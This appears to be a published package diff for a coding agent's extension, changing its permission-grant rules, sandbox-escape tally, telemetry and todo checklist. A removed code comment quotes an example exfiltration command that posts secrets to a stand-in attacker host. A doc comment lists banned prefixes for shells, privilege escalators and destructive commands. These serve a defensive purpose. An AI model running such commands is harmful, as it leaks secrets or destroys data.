@yagni-app/code-staging 1.1.1-staging.1340.1 → 1.1.1-staging.1352.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (31) hide show
  1. package/dist/extension/branding.d.ts +1 -1
  2. package/dist/extension/branding.js +1 -1
  3. package/dist/extension/index.js +89 -8
  4. package/dist/extension/permission/approvedPrefixes.d.ts +122 -8
  5. package/dist/extension/permission/approvedPrefixes.js +455 -37
  6. package/dist/extension/permission/execPolicy.d.ts +3 -0
  7. package/dist/extension/permission/execPolicy.js +3 -2
  8. package/dist/extension/permission/gate.d.ts +23 -3
  9. package/dist/extension/permission/gate.js +331 -3
  10. package/dist/extension/permissionRules/shellRules.d.ts +1 -0
  11. package/dist/extension/permissionRules/shellRules.js +1 -1
  12. package/dist/extension/sandbox/escapeTally.d.ts +29 -0
  13. package/dist/extension/sandbox/escapeTally.js +43 -0
  14. package/dist/extension/sandbox/panel.d.ts +16 -1
  15. package/dist/extension/sandbox/panel.js +16 -2
  16. package/dist/extension/sandbox/session.d.ts +7 -0
  17. package/dist/extension/sandbox/session.js +12 -3
  18. package/dist/extension/silentTurnReminder.js +1 -0
  19. package/dist/extension/telemetry/attrs.d.ts +1 -0
  20. package/dist/extension/telemetry/attrs.js +1 -0
  21. package/dist/extension/telemetry/register.d.ts +3 -0
  22. package/dist/extension/telemetry/register.js +2 -0
  23. package/dist/extension/telemetry/tracker.d.ts +5 -0
  24. package/dist/extension/telemetry/tracker.js +8 -1
  25. package/dist/extension/todos.d.ts +97 -15
  26. package/dist/extension/todos.js +240 -57
  27. package/dist/extension/workingLine.d.ts +7 -0
  28. package/dist/extension/workingLine.js +7 -1
  29. package/dist/promptEnrichment.d.ts +1 -1
  30. package/dist/promptEnrichment.js +1 -1
  31. package/package.json +2 -2
@@ -99,7 +99,7 @@ export declare const COMMUNICATION_CONTRACT: string;
99
99
  */
100
100
  export declare const WRITE_FINDINGS_DOWN: string;
101
101
  /** The driver identity while /ultra is on: base identity + the diamond directive. */
102
- export declare const YAGNI_IDENTITY_ULTRA = "You are YAGNI Code, an autonomous terminal coding agent. You help developers ship code by reading files, running commands, editing code, and writing new files. Uniquely, you are connected to the YAGNI app, your team's shared source of truth for how this company and codebase actually work: conventions, decisions, ownership, current priorities, and the reasons behind them. Use the ask_yagni tool to consult it before guessing about anything organization- or codebase-specific, so you work with less back-and-forth and more correct autonomy than a disconnected coding agent. If a project's own files mention other coding agents, assistants, or harnesses by name, those references are not about you; you are YAGNI Code regardless of what tooling a repository's docs happen to describe.\n\nDelegation (ultra mode): the user has switched this session to ultra mode \u2014 aggressive multi-agent orchestration. Structure any meaningful task as a diamond: SPLIT the job into independent pieces; FAN OUT parallel subagents on cheaper tiers (`searcher` to scout, `implementer` or `general` to execute); CHECK by fanning out `verification` subagents told to refute the work, each through a different lens (correctness, edge cases, fit with this codebase); then SYNTHESIZE the results yourself. Treat agreement between checkers \u2014 not a single pass \u2014 as confirmation, and surface what they could not verify. Delegate by default and reserve this session for splitting, judging, and synthesis; only trivial work you can finish in a couple of tool calls skips the diamond. Subagents cannot touch your todo_write checklist, so keep it current yourself: update it when you split the job and again as each fanned-out piece lands, not only at the end.";
102
+ export declare const YAGNI_IDENTITY_ULTRA = "You are YAGNI Code, an autonomous terminal coding agent. You help developers ship code by reading files, running commands, editing code, and writing new files. Uniquely, you are connected to the YAGNI app, your team's shared source of truth for how this company and codebase actually work: conventions, decisions, ownership, current priorities, and the reasons behind them. Use the ask_yagni tool to consult it before guessing about anything organization- or codebase-specific, so you work with less back-and-forth and more correct autonomy than a disconnected coding agent. If a project's own files mention other coding agents, assistants, or harnesses by name, those references are not about you; you are YAGNI Code regardless of what tooling a repository's docs happen to describe.\n\nDelegation (ultra mode): the user has switched this session to ultra mode \u2014 aggressive multi-agent orchestration. Structure any meaningful task as a diamond: SPLIT the job into independent pieces; FAN OUT parallel subagents on cheaper tiers (`searcher` to scout, `implementer` or `general` to execute); CHECK by fanning out `verification` subagents told to refute the work, each through a different lens (correctness, edge cases, fit with this codebase); then SYNTHESIZE the results yourself. Treat agreement between checkers \u2014 not a single pass \u2014 as confirmation, and surface what they could not verify. Delegate by default and reserve this session for splitting, judging, and synthesis; only trivial work you can finish in a couple of tool calls skips the diamond. Subagents cannot touch your TodoWrite checklist, so keep it current yourself: update it when you split the job and again as each fanned-out piece lands, not only at the end.";
103
103
  export declare const PI_IDENTITY_RE: RegExp;
104
104
  /**
105
105
  * Env switch that bypasses the system-prompt rewrite entirely, so pi's
@@ -65,7 +65,7 @@ export const ULTRA_DELEGATION_PARAGRAPH = "Delegation (ultra mode): the user has
65
65
  "surface what they could not verify. Delegate by default and reserve this " +
66
66
  "session for splitting, judging, and synthesis; only trivial work you can " +
67
67
  "finish in a couple of tool calls skips the diamond. Subagents cannot touch " +
68
- "your todo_write checklist, so keep it current yourself: update it when you " +
68
+ "your TodoWrite checklist, so keep it current yourself: update it when you " +
69
69
  "split the job and again as each fanned-out piece lands, not only at the end.";
70
70
  /**
71
71
  * The identity used for the interactive DRIVER session ONLY: {@link
@@ -37,6 +37,7 @@ import { registerGoCompareCommand } from "./pipeline/goCompareCommand.js";
37
37
  import { DEFAULT_PERMISSION_POLICY, createModeHolder, registerPermissionGate } from "./permission/gate.js";
38
38
  import { registerSandbox } from "./sandbox/session.js";
39
39
  import { sandboxAutoAllowDecision } from "./sandbox/bash.js";
40
+ import { createEscapeTally } from "./sandbox/escapeTally.js";
40
41
  import { registerTelemetry as defaultRegisterTelemetry } from "./telemetry/register.js";
41
42
  import { loadHooksConfig, makeHookRunner, registerHooks } from "./hooks.js";
42
43
  import { loadPermissionRules } from "./permissionRules/loadConfig.js";
@@ -207,11 +208,18 @@ export async function registerYagni(pi, deps = {}) {
207
208
  // no-position record suggestions reach the model) and record_decision
208
209
  // (flywheel-attributed records send dedupe: true). Run 7.
209
210
  const flywheelState = makeFlywheelState();
211
+ // The session todo checklist: TodoWrite tool (Claude-parity surface), the
212
+ // above-editor widget, and /todos. Branch-replayed, so forks and resumes
213
+ // show the list as it stood at that point. Registered BEFORE the working
214
+ // line so the board's in_progress activeForm can drive the spinner verb.
215
+ const todosHandle = registerTodos(pi);
210
216
  // The composed streaming status line ("Shaping… (12m 54s · ↓ 47.5k tokens)").
211
217
  // Registered before the subagent/advisor tools: they publish their live
212
218
  // progress through this handle so the elapsed/token suffix survives their
213
- // overrides. TUI-gated internally (agent_start checks ctx.mode).
214
- const workingLine = registerWorkingLine(pi);
219
+ // overrides. The verb mirrors the todo board's live step when one is
220
+ // in_progress (Claude's currentTodo?.activeForm pattern). TUI-gated
221
+ // internally (agent_start checks ctx.mode).
222
+ const workingLine = registerWorkingLine(pi, { todoVerb: todosHandle.activeVerb });
215
223
  pi.registerTool(makeAskYagniTool({ ...toolOpts, flywheel: flywheelState, getRepo: () => sessionRepo }));
216
224
  // WebFetch (YAG-578): read an arbitrary URL as clean markdown + a
217
225
  // standard-tier extraction, replacing the bash + curl + python dance.
@@ -252,10 +260,6 @@ export async function registerYagni(pi, deps = {}) {
252
260
  // ask_yagni answers the same question next time instead of interrupting a human.
253
261
  pi.registerTool(makeRecordDecisionTool({ ...toolOpts, flywheel: flywheelState }));
254
262
  }
255
- // The visible checklist for multi-step work: the todo_write tool, its
256
- // above-editor widget, and /todos. Branch-replayed, so forks and resumes
257
- // show the list as it stood at that point.
258
- registerTodos(pi);
259
263
  // YAG-574: the silent-turn reminder, driver-only. A child/subagent/advisor
260
264
  // process has no direct user to answer, so it is never nudged (same gating
261
265
  // as the delegation identity in branding.ts); eval mode is untouched so its
@@ -452,7 +456,42 @@ export async function registerYagni(pi, deps = {}) {
452
456
  if (event?.toolCallId)
453
457
  toolOutcomes.toolEnd(event.toolCallId, { isError: !!event.isError, result: event.result });
454
458
  });
455
- pi.on("session_shutdown", async () => {
459
+ pi.on("session_shutdown", async (_event, ctx) => {
460
+ // Session-end visibility: the one-line escape summary (only when the
461
+ // session actually escaped — zero-escape sessions stay silent) via notify
462
+ // (RPC-forwarded — protocol-visible for e2e) plus the summary sink event
463
+ // for the product metric.
464
+ const summary = escapeTally.summaryLine();
465
+ if (summary) {
466
+ try {
467
+ ctx?.ui?.notify?.(summary, "info");
468
+ }
469
+ catch { /* fail-soft */ }
470
+ logEvent({
471
+ source: "sandbox",
472
+ level: "info",
473
+ event: "sandbox_escape_summary",
474
+ sessionId: env.YAGNI_SESSION_ID ?? undefined,
475
+ fields: {
476
+ count: escapeTally.count(),
477
+ // Command-family labels are command content — debug tier only,
478
+ // same contract as the sandbox_escape line and gate_outcome's
479
+ // commandPrefix. The always-on info tier carries the count alone.
480
+ ...(isDebug(env)
481
+ ? { prefixes: escapeTally.breakdown().map((b) => `${b.prefix}=${b.n}`) }
482
+ : {}),
483
+ },
484
+ });
485
+ if (isDebug(env)) {
486
+ logEvent({
487
+ source: "sandbox",
488
+ level: "debug",
489
+ event: "sandbox_escape_summary",
490
+ sessionId: env.YAGNI_SESSION_ID ?? undefined,
491
+ fields: { prefixes: escapeTally.breakdown().map((b) => `${b.prefix}=${b.n}`) },
492
+ });
493
+ }
494
+ }
456
495
  await toolOutcomes.close();
457
496
  });
458
497
  const footerInvalidateHandle = { invalidateGit: () => { }, requestRender: () => { } };
@@ -535,6 +574,10 @@ export async function registerYagni(pi, deps = {}) {
535
574
  // session lifecycle (init/reset, fail-soft unless failIfUnavailable).
536
575
  // Null on unsupported platforms — stock bash stays. Shares the loaded
537
576
  // permission rules so sandbox config and the gate read one rule source.
577
+ // The session escape tally — interception-time counts by command family,
578
+ // shared by the gate (record), the /sandbox panel (breakdown), and the
579
+ // session-end summary line.
580
+ const escapeTally = createEscapeTally();
538
581
  const sandboxHandle = evalMode
539
582
  ? null
540
583
  : registerSandbox(pi, {
@@ -542,6 +585,7 @@ export async function registerYagni(pi, deps = {}) {
542
585
  env,
543
586
  hasUI: (ctx) => ctx.hasUI,
544
587
  onShellResolutionRetry: (outcome) => telemetry.sandboxShellResolutionRetry(outcome),
588
+ escapeBreakdown: () => escapeTally.breakdown(),
545
589
  // Anchors project-protected paths (.yagni-code + its config.json in
546
590
  // denyWrite) and project-sourced permission rules to the repo the
547
591
  // session runs in — same root the gate uses for its rule anchoring.
@@ -553,6 +597,37 @@ export async function registerYagni(pi, deps = {}) {
553
597
  ...(sandboxHandle
554
598
  ? {
555
599
  sandboxAutoAllow: (toolName, params) => sandboxAutoAllowDecision(toolName, params, sandboxHandle.manager, sandboxHandle.settings()),
600
+ // The escape predicate: this call carries dangerouslyDisableSandbox
601
+ // AND will actually run unsandboxed (sandbox initialized + the
602
+ // setting allows unsandboxed commands). Strict mode (allow=false)
603
+ // ignores the flag entirely — the command runs wrapped, no ask.
604
+ sandboxEscape: (toolName, params) => toolName === "bash" &&
605
+ sandboxHandle.manager.initialized &&
606
+ params.dangerouslyDisableSandbox === true &&
607
+ sandboxHandle.settings().allowUnsandboxedCommands !== false,
608
+ // Escape tally: interception-time, content-free on the always-on
609
+ // info tier (the command prefix is command content — it rides the
610
+ // debug tier only, same contract as logGateOutcomeTrail; the OTel
611
+ // counter is outcome-tagged only).
612
+ onSandboxEscape: (prefix) => {
613
+ escapeTally.record(prefix);
614
+ logEvent({
615
+ source: "sandbox",
616
+ level: "info",
617
+ event: "sandbox_escape",
618
+ sessionId: env.YAGNI_SESSION_ID ?? undefined,
619
+ fields: {},
620
+ });
621
+ if (isDebug(env)) {
622
+ logEvent({
623
+ source: "sandbox",
624
+ level: "debug",
625
+ event: "sandbox_escape",
626
+ sessionId: env.YAGNI_SESSION_ID ?? undefined,
627
+ fields: { prefix },
628
+ });
629
+ }
630
+ },
556
631
  }
557
632
  : {}),
558
633
  modeHolder,
@@ -675,6 +750,12 @@ export async function registerYagni(pi, deps = {}) {
675
750
  // never touches the session.
676
751
  onGuardianEvent: (ev) => {
677
752
  logGateOutcomeTrail(ev, env);
753
+ // Escape-flow outcomes feed the product metric (one counter add per
754
+ // unsandboxed-retry attempt, tagged by outcome only — classes/prefixes
755
+ // stay local per the telemetry cardinality contract).
756
+ if (ev.outcome.startsWith("escape_")) {
757
+ telemetry.sandboxEscapeRetry(ev.outcome);
758
+ }
678
759
  // Opt-in storage stream (YAG-510): tier decides what leaves the machine.
679
760
  if (guardianStorageTier === "off" || evalMode)
680
761
  return;
@@ -1402,7 +1483,7 @@ export { blindStages, reportOnlyStages, makeGroundedVsBlindEval, formatCompariso
1402
1483
  export { registerGoCompareCommand } from "./pipeline/goCompareCommand.js";
1403
1484
  // The general subagent tool: Claude Code-format agent discovery + fan-out.
1404
1485
  export { registerSubagents, makeSubagentTool, discoverSubagents, parseAgentMarkdown, buildSubagentStage, formatAgentList, mapModelTier, SUBAGENT_TOOL_NAME, GENERAL_AGENT_NAME, MAX_PARALLEL_SUBAGENTS, MAX_PARALLEL_SUBAGENTS_ULTRA, DEFAULT_SUBAGENT_TOOLS, } from "./subagents.js";
1405
- // The session todo checklist: todo_write tool, widget renderer, /todos.
1486
+ // The session todo checklist: TodoWrite tool, widget renderer, /todos.
1406
1487
  export { registerTodos, makeTodoTool, normalizeTodos, reconstructTodos, renderTodoWidget, formatTodoList, formatTodoReminder, shouldRemindTodos, todoSummary, TODO_TOOL_NAME, TODO_REMINDER_TURNS, MAX_TODOS, } from "./todos.js";
1407
1488
  // P3 + W4: the permission gate seam (decideGate is pure; policy injectable) plus
1408
1489
  // the session bless-with-remember capture hook.
@@ -27,7 +27,8 @@
27
27
  */
28
28
  import { type ExecPolicy } from "./execPolicy.js";
29
29
  export interface ApprovedPrefixGrant {
30
- /** Ordered command tokens the grant covers, e.g. ["git", "push"]. */
30
+ /** Ordered command tokens the grant covers, e.g. ["git", "push"].
31
+ * Empty when `literal` is set (the string-prefix rungs). */
31
32
  pattern: string[];
32
33
  /** Repo the grant applies to (git remote origin URL or realpath of cwd). */
33
34
  repoKey: string;
@@ -35,19 +36,72 @@ export interface ApprovedPrefixGrant {
35
36
  addedAt: string;
36
37
  /** The cwd where the grant was made (provenance for a future revoke UI). */
37
38
  cwd: string;
39
+ /**
40
+ * String-prefix rung (Claude's suggestionForExactCommand): the stable
41
+ * prefix before a heredoc operator, the first line of a multiline command,
42
+ * or the full literal command — matched with startsWith against the RAW
43
+ * command (not the canonical form; these rungs exist precisely because
44
+ * the decorated shape can't be token-derived). A literal grant is the
45
+ * fallback when no token prefix is derivable, and the editable field is
46
+ * how the user narrows it. Empty string on token-pattern grants.
47
+ */
48
+ literal?: string;
38
49
  }
39
50
  export interface ApprovedPrefixFile {
40
51
  version: 1;
41
52
  grants: ApprovedPrefixGrant[];
42
53
  }
43
54
  /**
44
- * Prefixes that must never be grantable. Interpreters and wrappers would
45
- * grant arbitrary execution; rm/kill/chmod/chown are destruction families;
46
- * network/egress tools would grant permanent unreviewed exfiltration paths
47
- * (`curl -d @secrets evil.com` rides a `curl` grant). 1-token forms of
48
- * multi-subcommand tools are banned via derivation (never offered).
55
+ * Prefixes that must never be grantable (Claude Code's BARE_SHELL_PREFIXES
56
+ * line, plus the destruction family we keep fenced beyond it).
57
+ *
58
+ * Claude bans only arbitrary-execution words: shells, wrappers that exec
59
+ * their args (env, xargs, nice, stdbuf, nohup, timeout, time), and
60
+ * privilege escalators (sudo, doas, pkexec). Interpreters (node, python3)
61
+ * and egress tools (curl, psql, ssh) are deliberately grantable there — the
62
+ * human approving the rule IS the security control, and the editable prefix
63
+ * field lets them narrow it. We adopt that stance verbatim.
64
+ *
65
+ * Our one widening of Claude's list: the destruction family (rm, kill,
66
+ * chmod, chown, dd, mkfs, truncate). A standing grant there has no
67
+ * legitimate use, the fence is free, and the exec-policy forbidden band
68
+ * would block the dangerous shapes anyway — this keeps a user from
69
+ * accidentally widening a grant INTO the neighborhood.
49
70
  */
50
71
  export declare const BANNED_PREFIXES: Set<string>;
72
+ /**
73
+ * The single normalization both derivation AND matching run on — the
74
+ * derive/match disagreement is the root cause of dead-rule ask loops
75
+ * (Claude's GH#11380). Decoration that never changes what runs is stripped:
76
+ *
77
+ * - full-line comments
78
+ * - safe env prefixes (SAFE_ENV_VARS, fixed-point) — `NODE_ENV=test pnpm test`
79
+ * canonicalizes to `pnpm test`; a NON-safe var (RUN=… ) stops stripping
80
+ * so matching fails and the command asks (correct: the env changes
81
+ * behavior in ways the safe-list can't vouch for)
82
+ * - safe wrappers (timeout/time/nice/nohup, fixed-point)
83
+ * - safe redirects ONLY: fd merges (`2>&1`) and /dev/null discards.
84
+ * Target-bearing redirects (`> out.log`) never strip — we lack Claude's
85
+ * redirect-target path validation, and an escaped command runs with the
86
+ * user's full authority, so a grant must never silently cover a write to
87
+ * an arbitrary path.
88
+ *
89
+ * Compound commands pass through untouched; segments are handled explicitly
90
+ * (never canonicalized as one string).
91
+ */
92
+ export declare function canonicalizeForGrants(command: string): string;
93
+ /**
94
+ * Derive the grantable token prefix for a single canonical command, Claude's
95
+ * getSimpleCommandPrefix → getFirstWordPrefix ladder:
96
+ * 1. [tool, subcommand] for multi-subcommand tools (`git push`, `pnpm test`)
97
+ * 2. [first-word] for any other clean command word (`psql`, `node`, `gh` on
98
+ * flag-first shapes) — Claude's first-word fallback; the editable field
99
+ * lets the user narrow it.
100
+ * Returns null when nothing token-shaped is grantable (banned word, dirty
101
+ * shape, path-prefixed). The literal rungs (heredoc prefix, first line, full
102
+ * command) live in deriveRememberSeeds — they are string prefixes, not
103
+ * token patterns, and ride the grant as a `literal` field.
104
+ */
51
105
  export declare function derivePrefix(command: string): string[] | null;
52
106
  /**
53
107
  * Command-family label for storage analytics (YAG-510): token 1 (basename'd),
@@ -60,8 +114,10 @@ export declare function derivePrefix(command: string): string[] | null;
60
114
  export declare function storagePrefix(command: string): string;
61
115
  /**
62
116
  * Does `command` fall under one of the session's grants? Pure. The caller
63
- * (permission gate) must only consult this AFTER classifyCommand returned
64
- * "prompt" — grants never override forbidden.
117
+ * (permission gate) must only consult this AFTER the exec policy ran —
118
+ * grants never override forbidden. Token grants match on the CANONICAL
119
+ * form (same normalization derivation ran on — the anti-dead-rule
120
+ * invariant); literal grants match with startsWith against the raw command.
65
121
  */
66
122
  export declare function matchesGrant(command: string, grants: readonly ApprovedPrefixGrant[], repoKey: string): ApprovedPrefixGrant | null;
67
123
  /**
@@ -73,6 +129,64 @@ export declare function matchesGrant(command: string, grants: readonly ApprovedP
73
129
  export declare function validateGrant(command: string, policy: ExecPolicy, repoKey: string): ApprovedPrefixGrant | null;
74
130
  /** Human label for the remember option: "git push …". */
75
131
  export declare function describePrefix(pattern: string[]): string;
132
+ /** Claude's suggestionForExactCommand: stable prefix before a heredoc
133
+ * operator — heredoc bodies change every invocation, so the exact command
134
+ * would be a dead rule; the pre-<< prefix is the remember unit.
135
+ *
136
+ * OUR refinement over Claude: when the pre-<< prefix carries an OUTPUT
137
+ * REDIRECT (`cat > "$S/r1.txt" <<EOF`), the redirect TARGET varies between
138
+ * invocations as much as the body does (r1.txt, r2.txt, …) — so the prefix
139
+ * cuts at the redirect operator. `cat >` seeds `…\ncat`; a redirect-free
140
+ * heredoc (`gh api … <<EOF`) keeps Claude's full pre-<< prefix. The
141
+ * editable field is the narrowing control on top of either. */
142
+ export declare function heredocPrefix(command: string): string | null;
143
+ /**
144
+ * The FULL remember ladder for one ask, in order (all five rungs — a shape
145
+ * never asks twice):
146
+ * 1. token patterns for every derivable uncovered segment (compound:
147
+ * multi-grant, atomically)
148
+ * 2. heredoc prefix (stable string before <<)
149
+ * 3. first line of a multiline command
150
+ * 4. the full literal command (Claude's editable-field final fallback; the
151
+ * user narrows it in the dialog)
152
+ * Returns grants WITHOUT repoKey/addedAt/cwd (the gate fills them in) —
153
+ * seeds are hypothetical until the user picks remember.
154
+ */
155
+ export declare function deriveRememberSeeds(command: string, uncoveredCanonicalSegments: readonly string[], repoKey?: string): {
156
+ seeds: ApprovedPrefixGrant[];
157
+ description: string;
158
+ } | null;
159
+ /** The fencing check applied to raw command text: canonicalize + tokenize +
160
+ * the same refspec/flag dangers matchesGrant fences. Exported for tests. */
161
+ export declare function isFencedPushLiteral(command: string): boolean;
162
+ /**
163
+ * Grant-time validation for the ESCAPE flow: the same self-match proof as
164
+ * validateGrant, minus the classification==="prompt" requirement — escaped
165
+ * commands are exactly the ones the exec policy classifies "allow" (that's
166
+ * the bug this flow fixes), so requiring prompt would never offer remember.
167
+ * The forbidden band is still enforced by the caller BEFORE the ask fires,
168
+ * so a forbidden command never reaches this function's seeds either way.
169
+ */
170
+ export declare function validateGrantForEscape(command: string, policy: ExecPolicy, repoKey: string): {
171
+ seeds: ApprovedPrefixGrant[];
172
+ description: string;
173
+ } | null;
174
+ /**
175
+ * Compound evaluation for the escape flow (Claude's subcommandResults
176
+ * analog): every segment must be covered — by a grant, by exec-policy
177
+ * `allow` (read-only — their isReadOnly analog), or be a pure env-assignment
178
+ * no-op — for the compound to run without asking. `forbidden` propagates:
179
+ * the whole compound blocks regardless of what else it contains.
180
+ */
181
+ export interface CompoundSegmentVerdict {
182
+ segment: string;
183
+ kind: "covered" | "assignment" | "uncovered" | "forbidden" | "classify-error";
184
+ }
185
+ export declare function evaluateCompoundForEscape(command: string, grants: readonly ApprovedPrefixGrant[], repoKey: string, policy: ExecPolicy): {
186
+ forbidden: boolean;
187
+ uncovered: string[];
188
+ segments: CompoundSegmentVerdict[];
189
+ };
76
190
  /**
77
191
  * Could {@link derivePrefix} ever have produced this pattern? The persisted
78
192
  * file is plain JSON on disk, so a row that derivation could not have written